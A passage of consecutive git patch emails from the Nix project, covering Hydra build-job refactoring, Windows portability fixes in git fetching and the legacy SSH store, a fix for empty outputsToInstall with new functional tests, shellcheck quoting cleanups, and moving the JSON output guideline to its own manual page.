- installScriptFor lib linux64BitSystems nixpkgsFor self - testNixVersions ; }) hydraJobs; From 1c46b9b2c5a14fa1c13750e7a504139e52676f8e Mon Sep 17 00:00:00 2001 From: fricklerhandwerk Date: Fri, 31 May 2024 23:27:14 +0200 Subject: [PATCH 0695/1251] fix path --- build/hydra.nix | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/build/hydra.nix b/build/hydra.nix index bc2bb3b52..7a7cecd2c 100644 --- a/build/hydra.nix +++ b/build/hydra.nix @@ -12,7 +12,7 @@ let inherit (lib) fileset; installScriptFor = tarballs: - nixpkgsFor.x86_64-linux.native.callPackage ./scripts/installer.nix { + nixpkgsFor.x86_64-linux.native.callPackage ../scripts/installer.nix { inherit tarballs; }; From 300b129fc778ecf020ae624474aecd51c72e8fc3 Mon Sep 17 00:00:00 2001 From: John Ericson Date: Fri, 31 May 2024 18:27:20 -0400 Subject: [PATCH 0696/1251] `hydra.nix` Can just return the obj for that name --- build/hydra.nix | 258 ++++++++++++++++++++++++------------------------ flake.nix | 4 +- 2 files changed, 130 insertions(+), 132 deletions(-) diff --git a/build/hydra.nix b/build/hydra.nix index 7a7cecd2c..595aad324 100644 --- a/build/hydra.nix +++ b/build/hydra.nix @@ -34,155 +34,153 @@ let }; in { - hydraJobs = { - # Binary package for various platforms. - build = forAllSystems (system: self.packages.${system}.nix); + # Binary package for various platforms. + build = forAllSystems (system: self.packages.${system}.nix); - shellInputs = forAllSystems (system: self.devShells.${system}.default.inputDerivation); + shellInputs = forAllSystems (system: self.devShells.${system}.default.inputDerivation); - buildStatic = lib.genAttrs linux64BitSystems (system: self.packages.${system}.nix-static); + buildStatic = lib.genAttrs linux64BitSystems (system: self.packages.${system}.nix-static); - buildCross = forAllCrossSystems (crossSystem: - lib.genAttrs [ "x86_64-linux" ] (system: self.packages.${system}."nix-${crossSystem}")); + buildCross = forAllCrossSystems (crossSystem: + lib.genAttrs [ "x86_64-linux" ] (system: self.packages.${system}."nix-${crossSystem}")); - buildNoGc = forAllSystems (system: - self.packages.${system}.nix.override { enableGC = false; } - ); + buildNoGc = forAllSystems (system: + self.packages.${system}.nix.override { enableGC = false; } + ); - buildNoTests = forAllSystems (system: - self.packages.${system}.nix.override { - doCheck = false; - doInstallCheck = false; - installUnitTests = false; - } - ); + buildNoTests = forAllSystems (system: + self.packages.${system}.nix.override { + doCheck = false; + doInstallCheck = false; + installUnitTests = false; + } + ); - # Toggles some settings for better coverage. Windows needs these - # library combinations, and Debian build Nix with GNU readline too. - buildReadlineNoMarkdown = forAllSystems (system: - self.packages.${system}.nix.override { - enableMarkdown = false; - readlineFlavor = "readline"; - } - ); + # Toggles some settings for better coverage. Windows needs these + # library combinations, and Debian build Nix with GNU readline too. + buildReadlineNoMarkdown = forAllSystems (system: + self.packages.${system}.nix.override { + enableMarkdown = false; + readlineFlavor = "readline"; + } + ); - # Perl bindings for various platforms. - perlBindings = forAllSystems (system: nixpkgsFor.${system}.native.nix.perl-bindings); + # Perl bindings for various platforms. + perlBindings = forAllSystems (system: nixpkgsFor.${system}.native.nix.perl-bindings); - # Binary tarball for various platforms, containing a Nix store - # with the closure of 'nix' package, and the second half of - # the installation script. - binaryTarball = forAllSystems (system: binaryTarball nixpkgsFor.${system}.native.nix nixpkgsFor.${system}.native); + # Binary tarball for various platforms, containing a Nix store + # with the closure of 'nix' package, and the second half of + # the installation script. + binaryTarball = forAllSystems (system: binaryTarball nixpkgsFor.${system}.native.nix nixpkgsFor.${system}.native); - binaryTarballCross = lib.genAttrs [ "x86_64-linux" ] (system: - forAllCrossSystems (crossSystem: - binaryTarball - self.packages.${system}."nix-${crossSystem}" - nixpkgsFor.${system}.cross.${crossSystem})); + binaryTarballCross = lib.genAttrs [ "x86_64-linux" ] (system: + forAllCrossSystems (crossSystem: + binaryTarball + self.packages.${system}."nix-${crossSystem}" + nixpkgsFor.${system}.cross.${crossSystem})); - # The first half of the installation script. This is uploaded - # to https://nixos.org/nix/install. It downloads the binary - # tarball for the user's system and calls the second half of the - # installation script. - installerScript = installScriptFor [ - # Native - self.hydraJobs.binaryTarball."x86_64-linux" - self.hydraJobs.binaryTarball."i686-linux" - self.hydraJobs.binaryTarball."aarch64-linux" - self.hydraJobs.binaryTarball."x86_64-darwin" - self.hydraJobs.binaryTarball."aarch64-darwin" - # Cross - self.hydraJobs.binaryTarballCross."x86_64-linux"."armv6l-unknown-linux-gnueabihf" - self.hydraJobs.binaryTarballCross."x86_64-linux"."armv7l-unknown-linux-gnueabihf" - self.hydraJobs.binaryTarballCross."x86_64-linux"."riscv64-unknown-linux-gnu" - ]; - installerScriptForGHA = installScriptFor [ - # Native - self.hydraJobs.binaryTarball."x86_64-linux" - self.hydraJobs.binaryTarball."x86_64-darwin" - # Cross - self.hydraJobs.binaryTarballCross."x86_64-linux"."armv6l-unknown-linux-gnueabihf" - self.hydraJobs.binaryTarballCross."x86_64-linux"."armv7l-unknown-linux-gnueabihf" - self.hydraJobs.binaryTarballCross."x86_64-linux"."riscv64-unknown-linux-gnu" - ]; + # The first half of the installation script. This is uploaded + # to https://nixos.org/nix/install. It downloads the binary + # tarball for the user's system and calls the second half of the + # installation script. + installerScript = installScriptFor [ + # Native + self.hydraJobs.binaryTarball."x86_64-linux" + self.hydraJobs.binaryTarball."i686-linux" + self.hydraJobs.binaryTarball."aarch64-linux" + self.hydraJobs.binaryTarball."x86_64-darwin" + self.hydraJobs.binaryTarball."aarch64-darwin" + # Cross + self.hydraJobs.binaryTarballCross."x86_64-linux"."armv6l-unknown-linux-gnueabihf" + self.hydraJobs.binaryTarballCross."x86_64-linux"."armv7l-unknown-linux-gnueabihf" + self.hydraJobs.binaryTarballCross."x86_64-linux"."riscv64-unknown-linux-gnu" + ]; + installerScriptForGHA = installScriptFor [ + # Native + self.hydraJobs.binaryTarball."x86_64-linux" + self.hydraJobs.binaryTarball."x86_64-darwin" + # Cross + self.hydraJobs.binaryTarballCross."x86_64-linux"."armv6l-unknown-linux-gnueabihf" + self.hydraJobs.binaryTarballCross."x86_64-linux"."armv7l-unknown-linux-gnueabihf" + self.hydraJobs.binaryTarballCross."x86_64-linux"."riscv64-unknown-linux-gnu" + ]; - # docker image with Nix inside - dockerImage = lib.genAttrs linux64BitSystems (system: self.packages.${system}.dockerImage); + # docker image with Nix inside + dockerImage = lib.genAttrs linux64BitSystems (system: self.packages.${system}.dockerImage); - # Line coverage analysis. - coverage = nixpkgsFor.x86_64-linux.native.nix.override { - pname = "nix-coverage"; - withCoverageChecks = true; - }; + # Line coverage analysis. + coverage = nixpkgsFor.x86_64-linux.native.nix.override { + pname = "nix-coverage"; + withCoverageChecks = true; + }; - # API docs for Nix's unstable internal C++ interfaces. - internal-api-docs = nixpkgsFor.x86_64-linux.native.callPackage ../package.nix { - inherit fileset; - doBuild = false; - enableInternalAPIDocs = true; - }; + # API docs for Nix's unstable internal C++ interfaces. + internal-api-docs = nixpkgsFor.x86_64-linux.native.callPackage ../package.nix { + inherit fileset; + doBuild = false; + enableInternalAPIDocs = true; + }; - # API docs for Nix's C bindings. - external-api-docs = nixpkgsFor.x86_64-linux.native.callPackage ../package.nix { - inherit fileset; - doBuild = false; - enableExternalAPIDocs = true; - }; + # API docs for Nix's C bindings. + external-api-docs = nixpkgsFor.x86_64-linux.native.callPackage ../package.nix { + inherit fileset; + doBuild = false; + enableExternalAPIDocs = true; + }; - # System tests. - tests = import ../tests/nixos { inherit lib nixpkgs nixpkgsFor; } // { + # System tests. + tests = import ../tests/nixos { inherit lib nixpkgs nixpkgsFor; } // { - # Make sure that nix-env still produces the exact same result - # on a particular version of Nixpkgs. - evalNixpkgs = - let - inherit (nixpkgsFor.x86_64-linux.native) runCommand nix; - in - runCommand "eval-nixos" { buildInputs = [ nix ]; } - '' - type -p nix-env - # Note: we're filtering out nixos-install-tools because https://github.com/NixOS/nixpkgs/pull/153594#issuecomment-1020530593. - ( - set -x - time nix-env --store dummy:// -f ${nixpkgs-regression} -qaP --drv-path | sort | grep -v nixos-install-tools > packages - [[ $(sha1sum < packages | cut -c1-40) = e01b031fc9785a572a38be6bc473957e3b6faad7 ]] - ) - mkdir $out - ''; + # Make sure that nix-env still produces the exact same result + # on a particular version of Nixpkgs. + evalNixpkgs = + let + inherit (nixpkgsFor.x86_64-linux.native) runCommand nix; + in + runCommand "eval-nixos" { buildInputs = [ nix ]; } + '' + type -p nix-env + # Note: we're filtering out nixos-install-tools because https://github.com/NixOS/nixpkgs/pull/153594#issuecomment-1020530593. + ( + set -x + time nix-env --store dummy:// -f ${nixpkgs-regression} -qaP --drv-path | sort | grep -v nixos-install-tools > packages + [[ $(sha1sum < packages | cut -c1-40) = e01b031fc9785a572a38be6bc473957e3b6faad7 ]] + ) + mkdir $out + ''; - nixpkgsLibTests = - forAllSystems (system: - import (nixpkgs + "/lib/tests/release.nix") - { - pkgs = nixpkgsFor.${system}.native; - nixVersions = [ self.packages.${system}.nix ]; - } - ); - }; + nixpkgsLibTests = + forAllSystems (system: + import (nixpkgs + "/lib/tests/release.nix") + { + pkgs = nixpkgsFor.${system}.native; + nixVersions = [ self.packages.${system}.nix ]; + } + ); + }; - metrics.nixpkgs = import "${nixpkgs-regression}/pkgs/top-level/metrics.nix" { - pkgs = nixpkgsFor.x86_64-linux.native; - nixpkgs = nixpkgs-regression; - }; + metrics.nixpkgs = import "${nixpkgs-regression}/pkgs/top-level/metrics.nix" { + pkgs = nixpkgsFor.x86_64-linux.native; + nixpkgs = nixpkgs-regression; + }; - installTests = forAllSystems (system: - let pkgs = nixpkgsFor.${system}.native; in - pkgs.runCommand "install-tests" - { - againstSelf = testNixVersions pkgs pkgs.nix pkgs.pkgs.nix; - againstCurrentUnstable = - # FIXME: temporarily disable this on macOS because of #3605. - if system == "x86_64-linux" - then testNixVersions pkgs pkgs.nix pkgs.nixUnstable - else null; - # Disabled because the latest stable version doesn't handle - # `NIX_DAEMON_SOCKET_PATH` which is required for the tests to work - # againstLatestStable = testNixVersions pkgs pkgs.nix pkgs.nixStable; - } "touch $out"); + installTests = forAllSystems (system: + let pkgs = nixpkgsFor.${system}.native; in + pkgs.runCommand "install-tests" + { + againstSelf = testNixVersions pkgs pkgs.nix pkgs.pkgs.nix; + againstCurrentUnstable = + # FIXME: temporarily disable this on macOS because of #3605. + if system == "x86_64-linux" + then testNixVersions pkgs pkgs.nix pkgs.nixUnstable + else null; + # Disabled because the latest stable version doesn't handle + # `NIX_DAEMON_SOCKET_PATH` which is required for the tests to work + # againstLatestStable = testNixVersions pkgs pkgs.nix pkgs.nixStable; + } "touch $out"); - installerTests = import ../tests/installer { - binaryTarballs = self.hydraJobs.binaryTarball; - inherit nixpkgsFor; - }; + installerTests = import ../tests/installer { + binaryTarballs = self.hydraJobs.binaryTarball; + inherit nixpkgsFor; }; } diff --git a/flake.nix b/flake.nix index a57031cfc..6fb159d6e 100644 --- a/flake.nix +++ b/flake.nix @@ -210,7 +210,7 @@ # 'nix.perl-bindings' packages. overlays.default = overlayFor (p: p.stdenv); - inherit (import ./build/hydra.nix { + hydraJobs = import ./build/hydra.nix { inherit inputs binaryTarball @@ -221,7 +221,7 @@ nixpkgsFor self ; - }) hydraJobs; + }; checks = forAllSystems (system: { binaryTarball = self.hydraJobs.binaryTarball.${system}; From e0b159549b7d88f3b134633336190e68e90eb5dd Mon Sep 17 00:00:00 2001 From: John Ericson Date: Sat, 1 Jun 2024 16:39:59 -0400 Subject: [PATCH 0697/1251] Misc Windows fixes 1. Fix build by making the legacy SSH Storey's secret `logFD` setting not a setting on Windows. (It doesn't make sense to specify `void *` handles by integer cross-proccess, I don't think.) 2. Move some files that don't need to be Unix-only anymore back to their original locations. --- maintainers/flake-module.nix | 12 ++++----- src/libfetchers/{unix => }/git.cc | 27 ++++++++++++++++--- src/libfetchers/local.mk | 6 ----- src/libfetchers/{unix => }/mercurial.cc | 0 src/libstore/{unix => }/builtins/fetchurl.cc | 0 .../{unix => }/builtins/unpack-channel.cc | 0 src/libstore/legacy-ssh-store.hh | 6 ++++- .../{unix => }/local-overlay-store.cc | 0 .../{unix => }/local-overlay-store.hh | 0 .../{unix => }/local-overlay-store.md | 0 src/libstore/local.mk | 2 +- 11 files changed, 36 insertions(+), 17 deletions(-) rename src/libfetchers/{unix => }/git.cc (98%) rename src/libfetchers/{unix => }/mercurial.cc (100%) rename src/libstore/{unix => }/builtins/fetchurl.cc (100%) rename src/libstore/{unix => }/builtins/unpack-channel.cc (100%) rename src/libstore/{unix => }/local-overlay-store.cc (100%) rename src/libstore/{unix => }/local-overlay-store.hh (100%) rename src/libstore/{unix => }/local-overlay-store.md (100%) diff --git a/maintainers/flake-module.nix b/maintainers/flake-module.nix index 419994bdb..a42828208 100644 --- a/maintainers/flake-module.nix +++ b/maintainers/flake-module.nix @@ -125,8 +125,8 @@ ''^src/libfetchers/registry\.hh$'' ''^src/libfetchers/tarball\.cc$'' ''^src/libfetchers/tarball\.hh$'' - ''^src/libfetchers/unix/git\.cc$'' - ''^src/libfetchers/unix/mercurial\.cc$'' + ''^src/libfetchers/git\.cc$'' + ''^src/libfetchers/mercurial\.cc$'' ''^src/libmain/common-args\.cc$'' ''^src/libmain/common-args\.hh$'' ''^src/libmain/loggers\.cc$'' @@ -237,11 +237,11 @@ ''^src/libstore/build/substitution-goal\.hh$'' ''^src/libstore/build/worker\.cc$'' ''^src/libstore/build/worker\.hh$'' - ''^src/libstore/unix/builtins/fetchurl\.cc$'' - ''^src/libstore/unix/builtins/unpack-channel\.cc$'' + ''^src/libstore/builtins/fetchurl\.cc$'' + ''^src/libstore/builtins/unpack-channel\.cc$'' ''^src/libstore/gc\.cc$'' - ''^src/libstore/unix/local-overlay-store\.cc$'' - ''^src/libstore/unix/local-overlay-store\.hh$'' + ''^src/libstore/local-overlay-store\.cc$'' + ''^src/libstore/local-overlay-store\.hh$'' ''^src/libstore/local-store\.cc$'' ''^src/libstore/local-store\.hh$'' ''^src/libstore/unix/user-lock\.cc$'' diff --git a/src/libfetchers/unix/git.cc b/src/libfetchers/git.cc similarity index 98% rename from src/libfetchers/unix/git.cc rename to src/libfetchers/git.cc index fa7ef3621..ce80932f6 100644 --- a/src/libfetchers/unix/git.cc +++ b/src/libfetchers/git.cc @@ -19,7 +19,10 @@ #include #include #include -#include + +#ifndef _WIN32 +# include +#endif using namespace std::string_literals; @@ -40,6 +43,7 @@ bool isCacheFileWithinTtl(time_t now, const struct stat & st) bool touchCacheFile(const Path & path, time_t touch_time) { +#ifndef _WIN32 // TODO implement struct timeval times[2]; times[0].tv_sec = touch_time; times[0].tv_usec = 0; @@ -47,6 +51,9 @@ bool touchCacheFile(const Path & path, time_t touch_time) times[1].tv_usec = 0; return lutimes(path.c_str(), times) == 0; +#else + return false; +#endif } Path getCachePath(std::string_view key, bool shallow) @@ -98,7 +105,15 @@ bool storeCachedHead(const std::string & actualUrl, const std::string & headRef) try { runProgram("git", true, { "-C", cacheDir, "--git-dir", ".", "symbolic-ref", "--", "HEAD", headRef }); } catch (ExecError &e) { - if (!WIFEXITED(e.status)) throw; + if ( +#ifndef WIN32 // TODO abstract over exit status handling on Windows + !WIFEXITED(e.status) +#else + e.status != 0 +#endif + ) + throw; + return false; } /* No need to touch refs/HEAD, because `git symbolic-ref` updates the mtime. */ @@ -329,7 +344,13 @@ struct GitInputScheme : InputScheme .program = "git", .args = {"-C", repoInfo.url, "--git-dir", repoInfo.gitDir, "check-ignore", "--quiet", std::string(path.rel())}, }); - auto exitCode = WEXITSTATUS(result.first); + auto exitCode = +#ifndef WIN32 // TODO abstract over exit status handling on Windows + WEXITSTATUS(result.first) +#else + result.first +#endif + ; if (exitCode != 0) { // The path is not `.gitignore`d, we can add the file. diff --git a/src/libfetchers/local.mk b/src/libfetchers/local.mk index 0fef1466b..e229a0993 100644 --- a/src/libfetchers/local.mk +++ b/src/libfetchers/local.mk @@ -5,16 +5,10 @@ libfetchers_NAME = libnixfetchers libfetchers_DIR := $(d) libfetchers_SOURCES := $(wildcard $(d)/*.cc) -ifdef HOST_UNIX - libfetchers_SOURCES += $(wildcard $(d)/unix/*.cc) -endif # Not just for this library itself, but also for downstream libraries using this library INCLUDE_libfetchers := -I $(d) -ifdef HOST_UNIX - INCLUDE_libfetchers += -I $(d)/unix -endif libfetchers_CXXFLAGS += $(INCLUDE_libutil) $(INCLUDE_libstore) $(INCLUDE_libfetchers) diff --git a/src/libfetchers/unix/mercurial.cc b/src/libfetchers/mercurial.cc similarity index 100% rename from src/libfetchers/unix/mercurial.cc rename to src/libfetchers/mercurial.cc diff --git a/src/libstore/unix/builtins/fetchurl.cc b/src/libstore/builtins/fetchurl.cc similarity index 100% rename from src/libstore/unix/builtins/fetchurl.cc rename to src/libstore/builtins/fetchurl.cc diff --git a/src/libstore/unix/builtins/unpack-channel.cc b/src/libstore/builtins/unpack-channel.cc similarity index 100% rename from src/libstore/unix/builtins/unpack-channel.cc rename to src/libstore/builtins/unpack-channel.cc diff --git a/src/libstore/legacy-ssh-store.hh b/src/libstore/legacy-ssh-store.hh index 6c3c95080..b683ed580 100644 --- a/src/libstore/legacy-ssh-store.hh +++ b/src/libstore/legacy-ssh-store.hh @@ -26,10 +26,14 @@ struct LegacySSHStoreConfig : virtual CommonSSHStoreConfig struct LegacySSHStore : public virtual LegacySSHStoreConfig, public virtual Store { +#ifndef _WIN32 // Hack for getting remote build log output. // Intentionally not in `LegacySSHStoreConfig` so that it doesn't appear in // the documentation - const Setting logFD{this, -1, "log-fd", "file descriptor to which SSH's stderr is connected"}; + const Setting logFD{this, INVALID_DESCRIPTOR, "log-fd", "file descriptor to which SSH's stderr is connected"}; +#else + Descriptor logFD = INVALID_DESCRIPTOR; +#endif struct Connection; diff --git a/src/libstore/unix/local-overlay-store.cc b/src/libstore/local-overlay-store.cc similarity index 100% rename from src/libstore/unix/local-overlay-store.cc rename to src/libstore/local-overlay-store.cc diff --git a/src/libstore/unix/local-overlay-store.hh b/src/libstore/local-overlay-store.hh similarity index 100% rename from src/libstore/unix/local-overlay-store.hh rename to src/libstore/local-overlay-store.hh diff --git a/src/libstore/unix/local-overlay-store.md b/src/libstore/local-overlay-store.md similarity index 100% rename from src/libstore/unix/local-overlay-store.md rename to src/libstore/local-overlay-store.md diff --git a/src/libstore/local.mk b/src/libstore/local.mk index 60174d009..5dc8f3370 100644 --- a/src/libstore/local.mk +++ b/src/libstore/local.mk @@ -6,7 +6,7 @@ libstore_DIR := $(d) libstore_SOURCES := $(wildcard $(d)/*.cc $(d)/builtins/*.cc $(d)/build/*.cc) ifdef HOST_UNIX - libstore_SOURCES += $(wildcard $(d)/unix/*.cc $(d)/unix/builtins/*.cc $(d)/unix/build/*.cc) + libstore_SOURCES += $(wildcard $(d)/unix/*.cc $(d)/unix/build/*.cc) endif ifdef HOST_LINUX libstore_SOURCES += $(wildcard $(d)/linux/*.cc) From 68090d7ff19054e76bf90cb309c4fe57281443dc Mon Sep 17 00:00:00 2001 From: Ivan Trubach Date: Sun, 2 Jun 2024 14:26:18 +0300 Subject: [PATCH 0698/1251] Fix empty outputsToInstall for InstallableAttrPath Fixes assertion failure if outputsToInstall is empty by defaulting to the "out" output. That is, behavior between the following commands should be consistent: $ nix build --no-link --json .#nothing-to-install-no-out error: derivation '/nix/store/eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee-nothing-to-install-no-out.drv' does not have wanted outputs 'out' $ nix build --no-link --file default.nix --json nothing-to-install-no-out error: derivation '/nix/store/eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee-nothing-to-install-no-out.drv' does not have wanted outputs 'out' Real-world example of this issue: $ nix build --json .#.legacyPackages.aarch64-linux.texlive.pkgs.iwona error: derivation '/nix/store/dj0h6b0pnlnan5nidnhqa0bmzq4rv6sx-iwona-0.995b.drv' does not have wanted outputs 'out' $ git rev-parse HEAD eee33247cf6941daea8398c976bd2dda7962b125 $ nix build --json --file . texlive.pkgs.iwona nix: src/libstore/outputs-spec.hh:46: nix::OutputsSpec::Names::Names(std::set >&&): Assertion `!empty()' failed. Aborted (core dumped) --- src/libcmd/installable-attr-path.cc | 2 ++ tests/functional/build.sh | 8 ++++++++ tests/functional/multiple-outputs.nix | 6 ++++++ 3 files changed, 16 insertions(+) diff --git a/src/libcmd/installable-attr-path.cc b/src/libcmd/installable-attr-path.cc index 3ec1c1614..8917e7a01 100644 --- a/src/libcmd/installable-attr-path.cc +++ b/src/libcmd/installable-attr-path.cc @@ -75,6 +75,8 @@ DerivedPathsWithInfo InstallableAttrPath::toDerivedPaths() std::set outputsToInstall; for (auto & output : packageInfo.queryOutputs(false, true)) outputsToInstall.insert(output.first); + if (outputsToInstall.empty()) + outputsToInstall.insert("out"); return OutputsSpec::Names { std::move(outputsToInstall) }; }, [&](const ExtendedOutputsSpec::Explicit & e) -> OutputsSpec { diff --git a/tests/functional/build.sh b/tests/functional/build.sh index 9fb4357be..a14e6d672 100755 --- a/tests/functional/build.sh +++ b/tests/functional/build.sh @@ -45,6 +45,14 @@ nix build -f multiple-outputs.nix --json e --no-link | jq --exit-status ' (.outputs | keys == ["a_a", "b"])) ' +# Tests that we can handle empty 'outputsToInstall' (assuming that default +# output "out" exists). +nix build -f multiple-outputs.nix --json nothing-to-install --no-link | jq --exit-status ' + (.[0] | + (.drvPath | match(".*nothing-to-install.drv")) and + (.outputs | keys == ["out"])) +' + # But not when it's overriden. nix build -f multiple-outputs.nix --json e^a_a --no-link nix build -f multiple-outputs.nix --json e^a_a --no-link | jq --exit-status ' diff --git a/tests/functional/multiple-outputs.nix b/tests/functional/multiple-outputs.nix index 413d392e4..6ba7c523d 100644 --- a/tests/functional/multiple-outputs.nix +++ b/tests/functional/multiple-outputs.nix @@ -96,6 +96,12 @@ rec { buildCommand = "mkdir $a_a $b $c"; }; + nothing-to-install = mkDerivation { + name = "nothing-to-install"; + meta.outputsToInstall = [ ]; + buildCommand = "mkdir $out"; + }; + independent = mkDerivation { name = "multiple-outputs-independent"; outputs = [ "first" "second" ]; From 6a507f5d3bc47244d99544f14a81b78fc84eb2be Mon Sep 17 00:00:00 2001 From: Cameron Dart <8763518+SkamDart@users.noreply.github.com> Date: Sun, 2 Jun 2024 13:41:51 -0700 Subject: [PATCH 0699/1251] housekeeping: shellcheck test/functional/add.sh --- maintainers/flake-module.nix | 1 - tests/functional/add.sh | 14 +++++++------- 2 files changed, 7 insertions(+), 8 deletions(-) diff --git a/maintainers/flake-module.nix b/maintainers/flake-module.nix index a42828208..3006d5e30 100644 --- a/maintainers/flake-module.nix +++ b/maintainers/flake-module.nix @@ -507,7 +507,6 @@ ''^scripts/install-nix-from-closure\.sh$'' ''^scripts/install-systemd-multi-user\.sh$'' ''^src/nix/get-env\.sh$'' - ''^tests/functional/add\.sh$'' ''^tests/functional/bash-profile\.sh$'' ''^tests/functional/binary-cache-build-remote\.sh$'' ''^tests/functional/binary-cache\.sh$'' diff --git a/tests/functional/add.sh b/tests/functional/add.sh index 9b448e33b..a6cf88e1a 100755 --- a/tests/functional/add.sh +++ b/tests/functional/add.sh @@ -3,10 +3,10 @@ source common.sh path1=$(nix-store --add ./dummy) -echo $path1 +echo "$path1" path2=$(nix-store --add-fixed sha256 --recursive ./dummy) -echo $path2 +echo "$path2" if test "$path1" != "$path2"; then echo "nix-store --add and --add-fixed mismatch" @@ -14,18 +14,18 @@ if test "$path1" != "$path2"; then fi path3=$(nix-store --add-fixed sha256 ./dummy) -echo $path3 +echo "$path3" test "$path1" != "$path3" || exit 1 path4=$(nix-store --add-fixed sha1 --recursive ./dummy) -echo $path4 +echo "$path4" test "$path1" != "$path4" || exit 1 -hash1=$(nix-store -q --hash $path1) -echo $hash1 +hash1=$(nix-store -q --hash "$path1") +echo "$hash1" hash2=$(nix-hash --type sha256 --base32 ./dummy) -echo $hash2 +echo "$hash2" test "$hash1" = "sha256:$hash2" From 25e2b1f7f7260057e05ce9f6853e90ada5e63ed1 Mon Sep 17 00:00:00 2001 From: Philipp Zander Date: Mon, 3 Jun 2024 02:11:06 +0200 Subject: [PATCH 0700/1251] improve note in `nix_value_force` documentation --- src/libexpr-c/nix_api_expr.h | 6 ++---- src/libexpr-c/nix_api_value.h | 3 ++- 2 files changed, 4 insertions(+), 5 deletions(-) diff --git a/src/libexpr-c/nix_api_expr.h b/src/libexpr-c/nix_api_expr.h index b026ea70b..0d324b148 100644 --- a/src/libexpr-c/nix_api_expr.h +++ b/src/libexpr-c/nix_api_expr.h @@ -129,10 +129,8 @@ nix_err nix_value_call_multi( * * This function converts these Values into their final type. * - * @note You don't need this function for basic API usage, since all functions - * that return a value call it for you. The only place you will see a - * NIX_TYPE_THUNK is in the arguments that are passed to a PrimOp function - * you supplied to nix_alloc_primop. + * @note You don't need this function for basic API usage very often, since all functions that return a `Value` call it + * for you. This function is mainly needed before calling @ref getters. * * @param[out] context Optional, stores error information * @param[in] state The state of the evaluation. diff --git a/src/libexpr-c/nix_api_value.h b/src/libexpr-c/nix_api_value.h index f568b5c27..244860707 100644 --- a/src/libexpr-c/nix_api_value.h +++ b/src/libexpr-c/nix_api_value.h @@ -148,7 +148,8 @@ Value * nix_alloc_value(nix_c_context * context, EvalState * state); * @brief Functions to inspect and change Nix language values, represented by Value. * @{ */ -/** @name Getters +/** @anchor getters + * @name Getters */ /**@{*/ /** @brief Get value type From 57aa901071aaf5fda08c18cd599ef78e08418315 Mon Sep 17 00:00:00 2001 From: John Ericson Date: Fri, 31 May 2024 11:08:37 -0400 Subject: [PATCH 0701/1251] manual: Put the JSON guideline on its own page --- doc/manual/src/SUMMARY.md.in | 1 + doc/manual/src/contributing/cli-guideline.md | 82 ------------------- doc/manual/src/contributing/json-guideline.md | 81 ++++++++++++++++++ 3 files changed, 82 insertions(+), 82 deletions(-) create mode 100644 doc/manual/src/contributing/json-guideline.md diff --git a/doc/manual/src/SUMMARY.md.in b/doc/manual/src/SUMMARY.md.in index 2516cc3db..18e7e8380 100644 --- a/doc/manual/src/SUMMARY.md.in +++ b/doc/manual/src/SUMMARY.md.in @@ -121,6 +121,7 @@ - [Documentation](contributing/documentation.md) - [Experimental Features](contributing/experimental-features.md) - [CLI guideline](contributing/cli-guideline.md) + - [JSON guideline](contributing/json-guideline.md) - [C++ style guide](contributing/cxx.md) - [Releases](release-notes/index.md) {{#include ./SUMMARY-rl-next.md}} diff --git a/doc/manual/src/contributing/cli-guideline.md b/doc/manual/src/contributing/cli-guideline.md index e90d6de8d..23df844ec 100644 --- a/doc/manual/src/contributing/cli-guideline.md +++ b/doc/manual/src/contributing/cli-guideline.md @@ -389,88 +389,6 @@ colors, no emojis and using ASCII instead of Unicode symbols). The same should happen when TTY is not detected on STDERR. We should not display progress / status section, but only print warnings and errors. -## Returning future proof JSON - -The schema of JSON output should allow for backwards compatible extension. This section explains how to achieve this. - -Two definitions are helpful here, because while JSON only defines one "key-value" -object type, we use it to cover two use cases: - - - **dictionary**: a map from names to value that all have the same type. In - C++ this would be a `std::map` with string keys. - - **record**: a fixed set of attributes each with their own type. In C++, this - would be represented by a `struct`. - -It is best not to mix these use cases, as that may lead to incompatibilities when the schema changes. For example, adding a record field to a dictionary breaks consumers that assume all JSON object fields to have the same meaning and type. - -This leads to the following guidelines: - - - The top-level (root) value must be a record. - - Otherwise, one can not change the structure of a command's output. - - - The value of a dictionary item must be a record. - - Otherwise, the item type can not be extended. - - - List items should be records. - - Otherwise, one can not change the structure of the list items. - - If the order of the items does not matter, and each item has a unique key that is a string, consider representing the list as a dictionary instead. If the order of the items needs to be preserved, return a list of records. - - - Streaming JSON should return records. - - An example of a streaming JSON format is [JSON lines](https://jsonlines.org/), where each line represents a JSON value. These JSON values can be considered top-level values or list items, and they must be records. - -### Examples - - -This is bad, because all keys must be assumed to be store types: - -```json -{ - "local": { ... }, - "remote": { ... }, - "http": { ... } -} -``` - -This is good, because the it is extensible at the root, and is somewhat self-documenting: - -```json -{ - "storeTypes": { "local": { ... }, ... }, - "pluginSupport": true -} -``` - -While the dictionary of store types seems like a very complete response at first, a use case may arise that warrants returning additional information. -For example, the presence of plugin support may be crucial information for a client to proceed when their desired store type is missing. - - - -The following representation is bad because it is not extensible: - -```json -{ "outputs": [ "out" "bin" ] } -``` - -However, simply converting everything to records is not enough, because the order of outputs must be preserved: - -```json -{ "outputs": { "bin": {}, "out": {} } } -``` - -The first item is the default output. Deriving this information from the outputs ordering is not great, but this is how Nix currently happens to work. -While it is possible for a JSON parser to preserve the order of fields, we can not rely on this capability to be present in all JSON libraries. - -This representation is extensible and preserves the ordering: - -```json -{ "outputs": [ { "outputName": "out" }, { "outputName": "bin" } ] } -``` - ## Dialog with the user CLIs don't always make it clear when an action has taken place. For every diff --git a/doc/manual/src/contributing/json-guideline.md b/doc/manual/src/contributing/json-guideline.md new file mode 100644 index 000000000..a671cd66b --- /dev/null +++ b/doc/manual/src/contributing/json-guideline.md @@ -0,0 +1,81 @@ +## Returning future proof JSON + +The schema of JSON output should allow for backwards compatible extension. This section explains how to achieve this. + +Two definitions are helpful here, because while JSON only defines one "key-value" +object type, we use it to cover two use cases: + + - **dictionary**: a map from names to value that all have the same type. In + C++ this would be a `std::map` with string keys. + - **record**: a fixed set of attributes each with their own type. In C++, this + would be represented by a `struct`. + +It is best not to mix these use cases, as that may lead to incompatibilities when the schema changes. For example, adding a record field to a dictionary breaks consumers that assume all JSON object fields to have the same meaning and type. + +This leads to the following guidelines: + + - The top-level (root) value must be a record. + + Otherwise, one can not change the structure of a command's output. + + - The value of a dictionary item must be a record. + + Otherwise, the item type can not be extended. + + - List items should be records. + + Otherwise, one can not change the structure of the list items. + + If the order of the items does not matter, and each item has a unique key that is a string, consider representing the list as a dictionary instead. If the order of the items needs to be preserved, return 